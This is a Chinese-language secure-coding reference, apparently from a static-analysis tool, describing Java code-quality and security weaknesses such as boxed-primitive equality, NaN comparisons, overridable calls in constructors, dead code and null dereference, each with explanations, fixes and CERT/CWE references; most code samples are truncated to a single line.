在处理框式基元时,如果需要比较相等性,则应调用框式基元的 equals() 方法,而非使用运算符 == 和 !=。Java 规范具有关于框式转换的如下说明:
“如果框式值 p 是一个整数文本(例如 -128 和 127 之间的整数),或是布尔文本 true 或 false,或者是 ‘\u0000’ 和 ‘\u007f’ 之间的字符文本,则使 a 和 b 作为 p 的任意两个框式转换值的结果。结果始终会是 a == b。”
这意味着,如果使用了框式基元(并非 Boolean 或 Byte),则仅会缓存或记住一个值区间。对于值的子集,使用 == 或 != 会返回正确的值,而对于此子集外的所有其他值,将返回对象地址的比较结果。
示例 1:以下示例对框式基元使用相等运算符。
1 | ... |
以上代码使用了框式基元 Integer 以尝试比较两个 int 值。如果 mask0 和 mask1 都等于 100,则 mask0 == mask1 将返回 true。但是,如果 mask0 和 mask1 都等于 777,则 mask0 == maske1 将返回 false,因为这些值不在这些框式基元的缓存值范围内。
RECOMMENDATIONS
大多数情况下,由于开发人员并不希望比较框式基元的地址,因此应使用框式基元的 equals() 方法,而非相等运算符。或者,可以重新编写等式,以使用其他比较运算符(如 <、>、⇐ 或 >=
),因为这些运算符会引导对基元值进行自动分框。
REFERENCES
[1] EXP03-J. Do not use the equality operators when comparing values of boxed primitives CERT
[2] Java Language Specification Chapter 5. Conversions and Contexts Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 398, CWE ID 754
[4] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
Code Correctness: Comparison with NaN
ABSTRACT
与 NaN 进行比较始终是一种错误方式。
EXPLANATION
如果与 NaN 进行比较,得出的计算结果将始终为 false(!= 运算符是个例外,因为 NaN 未经排序,所以始终会得出 true 结果)。
示例 1:以下示例尝试验证变量并非为 NaN。
1 | ... |
这将尝试验证 result 并非 NaN,但是使用带有 NaN 的运算符 == 将始终得出 false 值,所以此检查将永远不会抛出异常。
RECOMMENDATIONS
如果需要检查数值是否为 NaN,则应使用 java.lang.Double.isNaN() 函数。如果不确定在运行时该值会有何种变化,在使用任何运算符进行比较之前,也需要对其进行验证。
示例 2:以下示例修复了示例 1 中的代码。
1 | ... |
REFERENCES
[1] NUM07-J. Do not attempt comparisons with NaN CERT
[2] Java Language Specification Chapter 4. Types, Values and Variables Oracle
[3] INJECT-9: Prevent injection of exceptional floating point values Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 486
Code Correctness: Constructor Invokes Overridable Function
ABSTRACT
类的构造函数调用了可被覆盖的函数。
EXPLANATION
如果构造函数调用了可覆盖的函数,则在该对象完全初始化之前,攻击者将可以访问 this 引用,进而导致出现漏洞。
示例 1:以下示例调用了可覆盖的方法。
1 | ... |
由于函数 validateUser 和该类并非 final,这意味着它们是可以被覆盖的,对将覆盖此该函数的子类的变量执行初始化会允许避开 validateUser 功能。例如:
1 | ... |
以上代码输出了 “Attack successful!”,因为 Attacker 类覆盖了从子类 User 的构造函数调用的函数 validateUser(),Java 将首先在该子类中查找该构造函数调用的函数。
RECOMMENDATIONS
构造函数不应调用可覆盖的函数,无论是通过将该函数指定为 final,还是将该类指定为 final 的方式。或者,如果此代码仅在构造函数中才需要,则可使用访问说明符 private,或直接将逻辑放在子类的构造函数中。
示例 2:以下示例创建了类 final,以防止该函数在其他位置被覆盖。
1 | ... |
此示例将该类指定为 final,以便无法为其创建子类,由于此应用程序的其他位置也需要 validateUser() 函数,所以已将其更改为 private。这是通过防御的方式进行编程,因为未来可能需要为 User 类创建子类,如果未将 validateUser() 函数设置为 private,则会导致此漏洞再次出现。
REFERENCES
[1] MET05-J. Ensure that constructors do not call overridable methods CERT
[2] EXTEND-5: Limit the extensibility of classes and methods Oracle
[3] OBJECT-4: Prevent constructors from calling methods that can be overridden Oracle
Code Correctness: Erroneous Class Compare
ABSTRACT
根据对象的类名称确定对象类型会导致意外行为或致使攻击者注入恶意的类。
EXPLANATION
为了使程序执行恶意代码,攻击者可能会蓄意复制类名。正是这个原因,类名并不是好的类型标识符,因此不应当作授予信任的依据,用到指定的对象中。
例 1:以下代码基于类名从 inputReader 对象中选择信任或不信任的输入。如果攻击者能提供执行恶意命令的 inputReader 的实现方法,该代码便无法区分对象是否是恶意版本。
1 | if (inputReader.getClass().getName().equals("TrustedName")) |
RECOMMENDATIONS
务必使用等类比较来识别对象的类型。不要依靠类名来传达类型信息。
例 2:以下代码已被重写,以便采用等类比较确定 inputReader 对象是否存在要求的类型。
1 | if (inputReader.getClass() == TrustedClass) |
REFERENCES
[1] OBJ09-J. Compare classes and not class names CERT
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 486
Code Correctness: Erroneous Negative Value
ABSTRACT
一个字段被错误地分配了负值。
EXPLANATION
此字段被标注为 FortifyNonNegative,表示不允许使用负值。
RECOMMENDATIONS
确保无法将负值分配给带注释的字段。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 20
[2] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 020
Code Correctness: Erroneous String Compare
ABSTRACT
进行字符串对比时,应采用 equals() 方法,而不是== 或 != 方法。
EXPLANATION
程序采用 == 或 != 来比较两个字符串是否相等,其实质比较的是两个对象,而不是字符串的值。因此,若采用这个方法,两个引用将永远不会相等。
例 1:以下分支语句将永远不会被执行。
1 | if (args[0] == STRING_CONSTANT) { |
当 == 和 != 标记符被用来比较相同对象中包含的字符串时,它们只会按照预期的那样运行。要出现这种情况,最常用的方法就是将字符串内置,这样一来,就可以将字符串添加到一个由 String 类维护的对象池中。一旦字符串内置,在使用该字符串时,都会采用相同的对象,相等运算符也会按照预期的那样执行。所有字符串文字和带值的字符串常量都会自动内置。其他字符串可以通过调用 String.intern() 来手动内置,并会返回一个规范的当前字符串实例,必要时也会创建一个实例。
RECOMMENDATIONS
采用 equals() 方法比较字符串。
例 2: 例 1 中的代码应该用以下方式重写:
1 | if (STRING_CONSTANT.equals(args[0])) { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 597
Code Correctness: Erroneous Zero Value
ABSTRACT
一个变量被错误地分配了零值。
EXPLANATION
此字段被标注为 FortifyNonZero,表示不允许使用零值。
RECOMMENDATIONS
确保无法将零值分配给带注释的字段。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 20
[2] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 020
Code Correctness: Hidden Method
ABSTRACT
无法对静态方法进行覆盖,但是在将其作为实例方法进行调用时,可以显示为隐藏状态。
EXPLANATION
静态方法无法根据定义进行覆盖,因为它们属于类,而非类的实例。但是,某些情况下,静态方法看似已在子类中被覆盖,这样会产生混淆并导致调用错误版本的方法。
示例 1:以下示例尝试定义 API 以对用户进行身份验证。
1 | class AccessLevel{ |
此代码看上去还是比较合规。但是,由于我们是针对 user 实例,而非 User 或 RegularUser 类来调用 getAccessLevel() 方法,这意味着此条件下将始终返回 true 且会执行该限制操作,即使使用了 instanceof 以便进入 if/else 块的此部分也是如此。
RECOMMENDATIONS
如果可能,为静态方法分配的签名应尽量有别于超类中的签名,以避免产生混淆。理想情况下,应尽量将该代码修改得更明确一些,例如,将这些方法放入单独的 final 类中(不会为这些类创建子类),或者创建构造函数 private,以防止针对类的实例而非类来调用静态方法。
示例 2:以下示例对代码进行了修改,以显示更明确的权限,并使用最小特权准则来确保出现故障时的安全性。
1 | class AccessLevel{ |
REFERENCES
[1] MET07-J. Never declare a class method that hides a method declared in a superclass or superinterface CERT
[2] Java Language Specification Chapter 8. Classes Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 486
Code Correctness: Incorrect serialPersistentFields Modifier
ABSTRACT
要正确使用 serialPersistentFields,必须将其声明为 private、static 和 final。
EXPLANATION
Java 对象序列化规范 (Java Object Serialization Specification) 允许开发人员通过在 serialPersistentFields 数组中指定类的可序列化的字段来手动定义这些字段。仅当 serialPersistentFields 被声明为 private、static 和 final 时,此功能才能运行。
例 1:将不会使用 serialPersistentFields 的下列声明来定义 Serializable 字段,因为它不是 private、static 和 final。
1 | class List implements Serializable { |
RECOMMENDATIONS
当您使用 serialPersistentFields 来指定 Serializable 字段时,请确保其已声明为 private、static 和 final。
例 2:下列代码将 serialPersistentFields 正确地声明为 private、static 和 final。
1 | class List implements Serializable { |
REFERENCES
[1] Sun Microsystems, Inc. Java Sun Tutorial
[2] SERIAL-2: Guard sensitive data during serialization Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 485
Code Correctness: Invalid Call to Object.equals()
ABSTRACT
程序会调用数组上的 Object.equals(),而非 java.util.Arrays.equals().
EXPLANATION
由于调用数组上的 Object.equals() 会检查数组地址是否相同而非检查数组元素是否相同,因此在大多数情况下这是一个错误调用,通常应将该代码替换为 java.util.Arrays.equals()。
示例 1:以下示例尝试使用 Object.equals() 函数检查两个数组。
1 | ... |
除非在某个点将一个数组分配至另一个数组,否则可能会始终生成一个从未执行的代码。
RECOMMENDATIONS
使用数组的 Object.equals() 可验证两个数组对象是否指向相同的地址,但这种用例很少。如果要尝试验证两个数组包含相同元素且其元素顺序相同,应使用 java.util.Arrays.equals()。
示例 2:以下示例使用 java.util.Arrays.equals() 修复示例 1 的问题。
1 | import java.util.Arrays; |
REFERENCES
[1] EXP02-J. Do not use the Object.equals() method to compare two arrays CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398, CWE ID 754
[3] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
Code Correctness: Misleading Method Signature
ABSTRACT
这看上去好像能替代通用的 Java 方法,但实际上并不能达到预想的效果。
EXPLANATION
尽管该方法的名称与通用的 Java 方法相似,但它要么存在拼写错误,要么是参数列表导致其无法替代预期的方法。
例 1:以下方法的目的是重写 Object.equals():
1 | public boolean equals(Object obj1, Object obj2) { |
但是由于 Object.equals() 只需要一个参数,因此并不会调用以上的方法。
RECOMMENDATIONS
仔细检查确保该方法能够正常运行。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public boolean equals(Object obj) { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
Code Correctness: Non-Static Inner Class Implements Serializable
ABSTRACT
实施 java.io.Serializable 的内部类可能会导致问题以及泄露外部类中的信息。
EXPLANATION
对内部类进行序列化会导致对外部类也执行序列化,因此,如果外部类是不可序列化的,则可能会造成信息泄露或出现运行时错误。此外,由于 Java 编译器创建了合成字段以便实施内部类,因此对内部类执行序列化会导致出现平台依赖,但是依据不同的实施方法和不同的编译器,出现的情况也会有所不同。
示例 1:以下代码允许对内部类执行序列化。
1 | ... |
在以上示例中,对内部类 Registrator 执行序列化后,也会对外部类 User 的 accessLevel 字段执行序列化。
RECOMMENDATIONS
在使用内部类时,不应对其进行序列化,否则它们将变为静态嵌套类,由此就不会出现对非静态内部类执行序列化时会出现的问题。如果嵌套类为静态类型,则其本质上与实例变量并无关联(包括外部类的实例变量),并且不会导致对外部类执行序列化。
示例 2:以下代码通过阻止内部类实施 java.io.Serializable 更改了示例 1 中的示例。
1 | ... |
示例 2:以下代码通过将内部类转变为静态嵌套类更改了示例 1 中的示例。
1 | ... |
REFERENCES
[1] SER05-J. Do not serialize instances of inner classes CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
Code Correctness: Non-Synchronized Method Overrides Synchronized Method
ABSTRACT
不应使用非同步方法覆盖同步方法。
EXPLANATION
父类声明方法 synchronized,以保证当多个线程访问相同实例时的正确行为。应将所有重写方法声明为 synchronized,否则可能会发生意外行为。
例 1:在下列代码中,类 Foo 覆盖类 Bar,但未将方法 synchronizedMethod 声明为 synchronized:
1 | public class Bar { |
这种情况下,Foo 实例会被转换为 Bar 类型。如果将相同的实例交给两个独立线程,并重复执行 synchronizedMethod,则行为将不可预知。
RECOMMENDATIONS
如果父方法为 synchronized,则必须将该方法声明为 synchronized。
REFERENCES
[1] Sun Microsystems, Inc. Bug ID: 4294756 Javac should warn if synchronized method is overridden with a non synchronized
[2] TSM00-J. Do not override thread-safe methods with methods that are not thread-safe CERT
Code Correctness: String Comparison of Float
ABSTRACT
将浮点值与 String 对象进行比较是一种不可靠的方式,应予以避免。
EXPLANATION
如果要将浮点值与 String 对象进行比较,则必须先将该值更改为 String 对象,通常是通过如 Double.toString() 等函数来实现。在将浮点变量转换为 String 对象后,其可能为 “NaN”、“Infinity” 或 “-Infinity”,或者带有几位小数点(其中包含 0),或者可能包含指数字段,具体取决于浮点变量的类型和数值。如果转换为十六进制字符串,则其形式也会有很大差异。
示例 1:以下示例将浮点值与 String 进行了比较。
1 | ... |
RECOMMENDATIONS
在比较浮点值时,应使用如 java.lang.Double.compare() 等比较函数。同样地,由于确保精度至关重要,为了避免丢失精度,最好还是使用 java.math.BigDecimal。
示例 2:以下示例通过使用 java.math.BigDecimal.compareTo 修复了示例 1 的问题
1 | ... |
以上情况使用了 BigDecimal.compareTo(),与 BigDecimal.equals() 不同的是,它将两个值视为相同,即使值的小数位数并不相同也是如此。
REFERENCES
[1] NUM11-J. Do not compare or inspect the string representation of floating-point values CERT
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 398
Code Correctness: clone() Invokes Overridable Function
ABSTRACT
该类中的 clone() 方法调用了可覆盖的函数。
EXPLANATION
当 clone() 函数调用了可覆盖的函数后,会导致克隆初始化仅部分完成,或者破坏该克隆。
示例 1:以下 clone() 函数调用了可覆盖的方法。
1 | ... |
由于函数 doSomething() 和其封装类并非 final,这意味着该函数是可覆盖的,这将导致其克隆对象 clone 呈部分初始化状态,如果没有通过意外方式变通逻辑,则会导致错误。
RECOMMENDATIONS
克隆对象的函数不应调用可覆盖的函数,无论是通过将函数指定为 final,还是将类指定为 final 的方式。或者,如果此代码仅在 clone() 函数中需要,则可使用访问说明符 private,或直接将逻辑放入 clone() 方法中。
示例 2:以下示例可防止对 doSomething() 方法进行覆盖。
1 | ... |
在以上代码中,已将 doSomething 设置为 final,以便其不会由子类所覆盖。
REFERENCES
[1] MET06-J. Do not invoke overridable methods in clone() CERT
[2] EXTEND-5: Limit the extensibility of classes and methods Oracle
Code Correctness: null Argument to equals()
ABSTRACT
表达式 obj.equals(null) 将总是 false。
EXPLANATION
程序会使用 equals() 方法将一个对象与 null 作比较。但是这个比较总是会返回 false,因为对象并不是 null。(如果对象为 null,那么程序将抛出 NullPointerException 异常)。
RECOMMENDATIONS
在这里,程序员可能想要查看对象是否为空。与以下方法相比
obj.equals(null)
他们更倾向于写入
obj == null
REFERENCES
[1] JavaDoc for Object Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398, CWE ID 754
[3] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
Code Correctness: readObject() Invokes Overridable Function
ABSTRACT
该类中的 readObject() 方法调用了可覆盖的函数。
EXPLANATION
在反序列化过程中,由于 readObject() 充当构造函数,因此到此函数终止时,对象初始化才会完成。因此,如果 Serializable 类的 readObject() 函数调用了可覆盖的函数,则在对象尚未完成初始化之前,可能会提供对象状态的覆盖方法访问权限。
示例 1:以下 readObject() 函数调用了可覆盖的方法。
1 | ... |
如果函数 checkStream() 和其封装类并非 final 和公共字段,则意味着该函数是可覆盖的,这意味着攻击者可以覆盖 checkStream() 函数,以便在反序列化过程中访问对象。
RECOMMENDATIONS
在反序列化过程中,readObject 不应调用可覆盖的函数,无论是通过将其指定为 final 还是将该类指定为 final 的方式。或者,如果此代码仅在 readObject() 函数中需要,则可使用访问说明符 private,或直接将逻辑放入 readObject() 方法中。
示例 2:以下示例可防止对 checkStream() 方法进行覆盖。
1 | ... |
在以上代码中,已将 checkStream 设置为 final,以便其不会由子类所覆盖。
REFERENCES
[1] SER09-J. Do not invoke overridable methods from the readObject() method CERT
[2] EXTEND-5: Limit the extensibility of classes and methods Oracle
[3] SERIAL-3: View deserialization the same as object construction Oracle
Dead Code: Empty Try Block
ABSTRACT
空 try 块是 dead code 或者表示存在调试代码。
EXPLANATION
空 try 块没有任何用处。事实上,当编译成字节代码时,优化操作会去除空 try 块,并且不会将其包含在完成的程序中。空 try 块可能表示被删除或注释掉的代码。 例 1:下列代码包含空 try 块。
1 | try { |
Dead code 对 code quality 有负面影响,会使代码更难于读取、理解和维护。
RECOMMENDATIONS
如果 try 块没有用处,请将其删除。否则,请确定其缺少哪些应用程序逻辑并使用适当的代码完成该 try 块。
例 2:下列代码包含例 1 中省略的缺失代码。
1 | try { |
REFERENCES
[1] Sun Microsystems, Inc. Java Sun Tutorial
[2] Standards Mapping - Common Weakness Enumeration CWE ID 561
[3] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3050 CAT II
[4] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3050 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3050 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3050 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3050 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3050 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3050 CAT II
Dead Code: Expression is Always false
ABSTRACT
此表达式(或部分表达式)的计算结果始终为 false。
EXPLANATION
此表达式(或部分表达式)的计算结果始终为 false;程序可以按一种更为简单的方式重写。而其附近代码的出现可能是出于调试目的,或者可能没有与程序中的其他代码一同进行维护。该表达式还可能为我们指出方法中的错误所在。
例 1:以下方法将变量 secondCall 初始化为 false 后,将不会再对该变量进行设置。(变量 firstCall 被错误地使用了两次。)其结果是,表达式 firstCall && secondCall 的计算结果始终为 false,所以永远不会调用 setUpDualCall()。
1 | public void setUpCalls() { |
例 2:以下方法不会再将变量 firstCall 设为 true。(在首个条件语句后,变量 firstCall 被错误地设为 false。)其结果是,表达式 firstCall && secondCall 的第一部分的计算结果始终为 false。
1 | public void setUpCalls() { |
RECOMMENDATIONS
总之,您应该去修改或是删除未使用的代码。它不仅不能实现任何程序功能,还会带来额外的麻烦和维修负担。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 570
[2] Standards Mapping - MISRA C 2012 Rule 14.3
[3] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3050 CAT II
[4] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3050 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3050 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3050 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3050 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3050 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3050 CAT II
Dead Code: Expression is Always true
ABSTRACT
此表达式(或部分表达式)的计算结果始终为 true。
EXPLANATION
此表达式(或部分表达式)的计算结果始终为 true;程序可以按一种更为简单的方式重写。而其附近代码的出现可能是出于调试目的,或者可能没有与程序中的其他代码一同进行维护。该表达式还可能为我们指出方法中的错误所在。
例 1:以下方法将变量 secondCall 初始化为 true 后,将不会再对该变量进行设置。(变量 firstCall 被错误地使用了两次。)其结果是,表达式 firstCall || secondCall 的计算结果始终为 true,所以始终会调用 setUpForCall()。
1 | public void setUpCalls() { |
例 2:以下方法尝试检查变量 firstCall 和 secondCall。(变量 firstCall 被错误地设为 true,而不是对其进行检查。)其结果是,表达式 firstCall = true && secondCall == true 的第一部分的计算结果始终为 true。
1 | public void setUpCalls() { |
RECOMMENDATIONS
总之,您应该去修改或是删除未使用的代码。它不仅不能实现任何程序功能,还会带来额外的麻烦和维修负担。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 571
[2] Standards Mapping - MISRA C 2012 Rule 14.3
[3] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3050 CAT II
[4] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3050 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3050 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3050 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3050 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3050 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3050 CAT II
Dead Code: Unused Field
ABSTRACT
从不使用这个字段。
EXPLANATION
这个字段从未被访问过,或者仅通过 dead code 进行调用。Dead code 是指从未以公共方法直接或间接执行的代码。虽然某一字段可能已经过时,不太被人们使用了,但 unused field 仍有可能指出 bug 的所在。
例 1: 在以下的类中,并没有使用到 glue 字段。但是该类的作者无意间对该字段名进行了引用,将其转变成了字符串常量。
1 | public class Dead { |
例 2: 在下面这个类中使用了 glue 字段,但是并不会调用使用这个字段的方法。
1 | public class Dead { |
RECOMMENDATIONS
总之,您应该去修改或是删除 dead code。要修复 dead code,请通过公共方法直接或间接执行此 dead code。Dead code 不仅不能实现任何程序功能,还会带来额外的麻烦和维护负担。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 561
[2] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3050 CAT II
[3] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3050 CAT II
[4] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3050 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3050 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3050 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3050 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3050 CAT II
Dead Code: Unused Method
ABSTRACT
此方法不能从该类以外的任何方法中获得。
EXPLANATION
不会调用这个方法,或者仅仅通过其他 dead code 进行调用。
例 1:在下面这个类中,doWork() 方法将永远不会被调用。
1 | public class Dead { |
例 2: 在下面这个类中,虽然两个私有方法相互调用,但是因为它们中的任何一个都不会在其他地方调用,所以最终还是 dead code。
1 | public class DoubleDead { |
(在这里,我们应该庆幸没有使用这两种方法:调用其中任何一种方法都会导致死循环。)
RECOMMENDATIONS
无用方法有可能指出调度代码中的 bug 所在。
例 3:如果类中一个名为 getWitch() 的方法被标记为死方法,同时这个类还包含以下调度方法,那么这可能是由于复制粘帖错误而引起的。“w”应返回 getWitch() 而不是 getMummy()。
1 | public ScaryThing getScaryThing(char st) { |
总之,您应该去修改或是删除 dead code。要修复 dead code,请通过公共方法直接或间接执行此 dead code。Dead code 不仅不能实现任何程序功能,还会带来额外的麻烦和维护负担。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 561
[2] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3050 CAT II
[3] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3050 CAT II
[4] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3050 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3050 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3050 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3050 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3050 CAT II
Null Dereference
ABSTRACT
程序可能会间接引用一个空指针,从而引起 NullPointerException 异常。
EXPLANATION
空指针错误通常是由于违反了一个或者多个程序员的假设而造成的。
大部分空指针问题只会引起常规软件可靠性问题,但如果攻击者能够故意触发空指针间接引用,该攻击者就有可能利用引发的异常绕过安全逻辑,或致使应用程序泄漏调试信息,这些调试信息对于规划随后的攻击具有利用价值。
示例:在以下代码中,程序员假定系统始终会定义一个名为“cmd”的属性。如果攻击者能够控制程序环境以使“cmd”变成未定义的属性,那么程序会在尝试调用 trim() 方法时抛出一个 Null 指针异常。
1 | String val = null; |
RECOMMENDATIONS
由于间接引用空指针而引发的安全问题几乎始终与程序处理运行时异常的方式有关。如果软件采用一种固定且执行情况良好的方法来处理这些运行时异常,则会大大减少潜在的安全隐患。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - MISRA C 2012 Rule 1.3
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[19] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Obsolete
ABSTRACT
使用不推荐的或过时的函数可能表示这是一段被忽略的代码。
EXPLANATION
随着编程语言的发展,有时会弃用些一些方法,原因是:
- 为了改进该编程语言 - 对如何有效、安全地执行操作有了更深一步的了解
- 某些操作的管理规则发生了变化
在某一种编程语言中,人们通常会放弃使用某些方法,转而采用更新的方法。在执行同样的任务时,新方法会采用不同的处理方式,这种方式往往比原有的方法更合理。
示例:以下代码使用一个字节数组和一个指定每个 16 位 Unicode 字符中前 8 位的值来构造一个字符串对象。
1 | ... |
在这个例子中,构造函数可能无法正确地将字节转换成字符,这取决于由 nameBytes 表述的编码字符串所使用的字符集。随着用于编码字符串的字符集的不断发展,这个构造函数已经过时,取而代之的是新的构造函数。新构造函数使用了名为 charset 的参数,用以对字节进行编码,从而实现字节的转换。
并非所有函数都会因为存在安全漏洞而被弃用或被取代。然而,出现被弃用的函数通常表示周围代码已经不起作用了,有可能处于不受维护的状况。在过去很长一段时间内,人们并没有将软件安全放在首位,甚至都未曾考虑过。如果程序使用了不推荐的或过时的函数,在其附近就会潜伏着安全问题。
RECOMMENDATIONS
请不要使用不推荐的或过时的函数。不管是否会对安全产生直接影响,都要使用最新的函数来代替这些过时的函数。当您遇到过时的函数时,应意识到它的出现可能会给周围的代码带来安全隐患。请考虑进行应用程序开发时所依据的有关安全方面的各种假设。它们是否仍然有效?使用特定的过时函数是否会带来更大的维护问题?
REFERENCES
[1] MET02-J. Do not use deprecated or obsolete classes or methods CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 477
Poor Style: Confusing Naming(class_and_member)
ABSTRACT
类成员与其封装类同名。
EXPLANATION
Java 允许类成员与封装类使用同一个名称,但是这通常只会造成混乱和错误的代码。
例 1:以下类中存在一些错误。请尝试一下如何调试这些错误。
1 | public class Name { |
例 2:以下代码摘自 WebGoat,它向我们展示了一个由 confusing naming 问题而产生的 bug [1]。
1 | public class CreateDB |
作者试图为 CreateDB 类创建一个构造函数,但却在不经意间定义了返回值的类型(void),这就相当于他创建了一个常规方法而已。
RECOMMENDATIONS
请重命名类成员,以避免成员与其封装类之间出现混淆。
REFERENCES
[1] The WebGoat Project OWASP
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
Poor Style: Confusing Naming(member_and_method)
ABSTRACT
该类包含具有同一名称的字段和方法。
EXPLANATION
在同一个类中,成员字段与方法同名会给程序员带来诸多困扰。当他想要访问某字段时却意外地调用了与之同名的方法;反之当他想要调用某一方法时却又访问了与之同名的字段。
例 1:
1 | public class Totaller { |
RECOMMENDATIONS
重新命名方法或字段。如果从方法中可以返回该字段,考虑按以下标准 getter/setter 命名原则对其进行命名:
例 2: 例 1 中的代码应该用以下方式重写:
1 | public class Totaller { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
Poor Style: Empty Synchronized Block
ABSTRACT
若同步代码块中不包含指令,它不能起到预期的效果。
EXPLANATION
Java 中的同步处理是一个非常棘手的问题。一个 empty synchronized block 通常只标志程序员正在处理同步问题,但还没有达到预期的结果。
示例:
synchronized(this) { }
RECOMMENDATIONS
请仔细考虑是否需要在附近的代码中进行同步处理。若不需要,则删除 empty synchronized block;反之,就请在该代码块中加入必要的代码。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 585
Poor Style: Identifier Contains Dollar Symbol ($)
ABSTRACT
建议不要使用美元符号($)作为标识符。
EXPLANATION
在 Java 语言规范的第 3.8 节中论述了美元符号,但仅将它作为用于机器产生的源代码中的标识符。
示例:
int un$afe;
RECOMMENDATIONS
对使用美元符号 ($) 的标识符进行重命名并不包含过载的含义。
REFERENCES
[1] J. Gosling, B. Joy, G. Steele, G. Bracha The Java Language Specification, Second Edition Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
Poor Style: Redundant Initialization
ABSTRACT
变量赋值后并不使用,而变成一个死存储。
EXPLANATION
没有使用该变量的初始值。初始化之后,变量或者被重新赋值,或者转向作用域之外。
示例:以下摘录的代码为变量 r 赋值,并在没有使用所赋数值的情况下,对其加以重写。
1 | int r = getNum(); |
RECOMMENDATIONS
为了使代码易于理解和维护,删除不必要的赋值。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
